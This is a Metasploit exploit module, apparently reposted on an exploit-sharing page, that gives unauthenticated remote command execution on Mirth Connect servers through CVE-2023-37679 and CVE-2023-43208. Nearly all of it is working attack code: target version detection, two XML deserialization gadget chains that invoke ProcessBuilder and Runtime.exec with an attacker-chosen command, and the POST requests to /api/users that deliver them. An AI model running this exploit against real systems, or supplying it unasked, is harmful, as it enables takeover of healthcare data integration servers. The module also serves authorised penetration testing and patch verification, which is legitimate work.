## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Mirth Connect Deserialization RCE', 'Description' => %q{ A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later, researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0. }, 'Author' => [ 'r00t', 'Naveen Sunkavally', 'Spencer McIntyre' ], 'References' => [ ['CVE', '2023-37679'], ['URL', 'https://www.ihteam.net/advisory/mirth-connect/'], ['CVE', '2023-43208'], ['URL', 'https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/'], ['URL', 'https://www.horizon3.ai/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/'], ], 'DisclosureDate' => '2023-10-25', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux', 'win'], 'Arch' => [ARCH_CMD], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 8191, 'DisableNops' => true } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) return CheckCode::Unknown('HTTP fingerprinting failed.') if res.nil? unless res.get_html_document&.xpath('//head/title')&.first&.text =~ /Mirth Connect/ return CheckCode::Safe('The target is not Mirth Connect.') end target_version = get_target_version return CheckCode::Detected('Failed to detect the target version.') unless target_version vprint_status("Detected target version: #{target_version}") if target_version <= Rex::Version.new('4.3.0') return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-37679.") elsif target_version <= Rex::Version.new('4.4.0') return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-43208.") end CheckCode::Safe("Version #{target_version} is not affected.") end def get_target_version return @target_version if @target_version res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/server/version'), 'headers' => { 'X-Requested-With' => 'OpenAPI' } ) return nil unless res&.code == 200 return nil unless res.body =~ /(\d+(\.\d+)*)/ @target_version = Rex::Version.new(Regexp.last_match(1)) @target_version end def exploit target_version = get_target_version print_status("Executing #{payload_instance.refname} (#{target.name})") if target_version <= Rex::Version.new('4.3.0') # The CVE-2023-43208 gadget chain will also work here but use the old one to verify the original vulnerability # which did not implement the deny-list logic that was bypassed by the newer chain res = execute_command_cve_2023_37679(payload.encoded) elsif target_version <= Rex::Version.new('4.4.0') res = execute_command_cve_2023_43208(payload.encoded) else fail_with(Failure::NoTarget, "Version #{target_version} is not vulnerable.") end if res.nil? fail_with(Failure::Unreachable, 'Failed to execute the payload.') elsif res.code != 500 fail_with(Failure::UnexpectedReply, 'Failed to execute the payload.') end print_good('The target appears to have executed the payload.') end def execute_command_cve_2023_37679(cmd, _opts = {}) # Tested on 4.1.1 and 4.3.0 xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) <sorted-set> <string>#{rand_text_alphanumeric(4..12)}</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>#{target['Platform'] == 'win' ? 'cmd.exe' : 'sh'}</string> <string>#{target['Platform'] == 'win' ? '/c' : '-c'}</string> <string>#{cmd.encode(xml: :text)}</string> </command> </target> <methodName>start</methodName> <eventTypes/> </handler> </dynamic-proxy> </sorted-set> XML res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/users'), 'ctype' => 'application/xml', 'headers' => { 'X-Requested-With' => 'OpenAPI' }, 'data' => xml }) res end def execute_command_cve_2023_43208(cmd, _opts = {}) if target['Platform'] == 'win' cmd = "cmd.exe /c \"#{cmd}\"" else # see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html cmd = "sh -c $@|sh . echo #{cmd}" end # Tested on 4.1.1, 4.4.0 xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) <sorted-set> <string>#{rand_text_alphanumeric(4..12)}</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler"> <target class="org.apache.commons.collections4.functors.ChainedTransformer"> <iTransformers> <org.apache.commons.collections4.functors.ConstantTransformer> <iConstant class="java-class">java.lang.Runtime</iConstant> </org.apache.commons.collections4.functors.ConstantTransformer> <org.apache.commons.collections4.functors.InvokerTransformer> <iMethodName>getMethod</iMethodName> <iParamTypes> <java-class>java.lang.String</java-class> <java-class>[Ljava.lang.Class;</java-class> </iParamTypes> <iArgs> <string>getRuntime</string> <java-class-array/> </iArgs> </org.apache.commons.collections4.functors.InvokerTransformer> <org.apache.commons.collections4.functors.InvokerTransformer> <iMethodName>invoke</iMethodName> <iParamTypes> <java-class>java.lang.Object</java-class> <java-class>[Ljava.lang.Object;</java-class> </iParamTypes> <iArgs> <null/> <object-array/> </iArgs> </org.apache.commons.collections4.functors.InvokerTransformer> <org.apache.commons.collections4.functors.InvokerTransformer> <iMethodName>exec</iMethodName> <iParamTypes> <java-class>java.lang.String</java-class> </iParamTypes> <iArgs> <string>#{cmd.encode(xml: :text)}</string> </iArgs> </org.apache.commons.collections4.functors.InvokerTransformer> </iTransformers> </target> <methodName>transform</methodName> <eventTypes> <string>compareTo</string> </eventTypes> </handler> </dynamic-proxy> </sorted-set> XML res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/users'), 'ctype' => 'application/xml', 'headers' => { 'X-Requested-With' => 'OpenAPI' }, 'data' => xml }) res end end
{{ x.nick }}
| Date:{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |